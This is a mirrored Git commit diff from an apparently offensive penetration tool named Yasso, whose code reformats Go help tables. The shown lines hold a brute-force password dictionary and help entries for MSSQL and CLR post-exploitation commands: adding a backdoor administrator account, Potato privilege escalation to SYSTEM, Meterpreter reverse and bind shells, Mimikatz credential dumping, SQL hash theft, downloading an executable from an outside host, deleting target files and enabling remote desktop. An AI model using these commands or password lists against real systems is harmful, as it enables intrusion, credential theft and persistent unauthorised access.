mirror of
https://github.com/sairson/Yasso.git
synced 2026-11-04 06:37:35 +08:00
优化代码结构
This commit is contained in:
@@ -33,33 +33,33 @@ var Userdict = map[string][]string{
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "12312", "pass123", "pass@123", "930517", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"}
|
||||
|
||||
var WarKitHelp = [][]string{
|
||||
[]string{"**IF You Want SQL Command Execute**", "declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"},
|
||||
[]string{"EXEC sp_cmdExec 'whoami'", "Any Windows command"},
|
||||
[]string{"EXEC sp_cmdExec 'whoami /RunSystemPriv'", "Any Windows command with NT AUTHORITY\\SYSTEM rights"},
|
||||
[]string{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`, "Adding users with RottenPotato (Kumpir)"},
|
||||
[]string{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`, "Adding user to localgroup with RottenPotato (Kumpir)"},
|
||||
[]string{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`, "(Powershell) with RottenPotato (Kumpir)"},
|
||||
[]string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`, `x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`},
|
||||
[]string{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`, "x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"},
|
||||
[]string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`, "x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"},
|
||||
[]string{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`, "x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"},
|
||||
[]string{`EXEC sp_cmdExec 'sp_Mimikatz'`, `select * from WarSQLKitTemp => Get Mimikatz Log`},
|
||||
[]string{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`, `Download File`},
|
||||
[]string{`EXEC sp_cmdExec 'sp_getSqlHash'`, `Get MSSQL Hash`},
|
||||
[]string{`EXEC sp_cmdExec 'sp_getProduct'`, `Get Windows Product`},
|
||||
[]string{`EXEC sp_cmdExec 'sp_getDatabases'`, `Get Available Databases`},
|
||||
{"**IF You Want SQL Command Execute**", "declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"},
|
||||
{"EXEC sp_cmdExec 'whoami'", "Any Windows command"},
|
||||
{"EXEC sp_cmdExec 'whoami /RunSystemPriv'", "Any Windows command with NT AUTHORITY\\SYSTEM rights"},
|
||||
{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`, "Adding users with RottenPotato (Kumpir)"},
|
||||
{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`, "Adding user to localgroup with RottenPotato (Kumpir)"},
|
||||
{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`, "(Powershell) with RottenPotato (Kumpir)"},
|
||||
{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`, `x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`},
|
||||
{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`, "x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"},
|
||||
{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`, "x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"},
|
||||
{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`, "x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"},
|
||||
{`EXEC sp_cmdExec 'sp_Mimikatz'`, `select * from WarSQLKitTemp => Get Mimikatz Log`},
|
||||
{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`, `Download File`},
|
||||
{`EXEC sp_cmdExec 'sp_getSqlHash'`, `Get MSSQL Hash`},
|
||||
{`EXEC sp_cmdExec 'sp_getProduct'`, `Get Windows Product`},
|
||||
{`EXEC sp_cmdExec 'sp_getDatabases'`, `Get Available Databases`},
|
||||
}
|
||||
|
||||
var SharpKitHelp = [][]string{
|
||||
[]string{"EXEC ClrExec 'clr_ping ip'", "Detect whether the target is reachable"},
|
||||
[]string{"EXEC ClrExec 'clr_cat filename'", "Viewing target file Contents"},
|
||||
[]string{`EXEC ClrExec 'clr_ls dir'`, "Listing directory files"},
|
||||
[]string{`EXEC ClrExec 'clr_rm filename'`, "rm traget file"},
|
||||
[]string{`EXEC ClrExec 'clr_getav'`, "List target host kill software"},
|
||||
[]string{`EXEC ClrExec 'clr_rdp'`, `Open the remote desktop and return to the remote desktop port`},
|
||||
[]string{`EXEC ClrExec 'clr_efspotato whoami'`, "Calls efspotato to execute system commands"},
|
||||
[]string{`EXEC ClrExec 'clr_badpotato whoami'`, "Calls badpotato to execute system commands"},
|
||||
[]string{`EXEC ClrExec 'clr_netstat'`, "Listing netstat -an result"},
|
||||
{"EXEC ClrExec 'clr_ping ip'", "Detect whether the target is reachable"},
|
||||
{"EXEC ClrExec 'clr_cat filename'", "Viewing target file Contents"},
|
||||
{`EXEC ClrExec 'clr_ls dir'`, "Listing directory files"},
|
||||
{`EXEC ClrExec 'clr_rm filename'`, "rm traget file"},
|
||||
{`EXEC ClrExec 'clr_getav'`, "List target host kill software"},
|
||||
{`EXEC ClrExec 'clr_rdp'`, `Open the remote desktop and return to the remote desktop port`},
|
||||
{`EXEC ClrExec 'clr_efspotato whoami'`, "Calls efspotato to execute system commands"},
|
||||
{`EXEC ClrExec 'clr_badpotato whoami'`, "Calls badpotato to execute system commands"},
|
||||
{`EXEC ClrExec 'clr_netstat'`, "Listing netstat -an result"},
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
Reference in New Issue
Block a user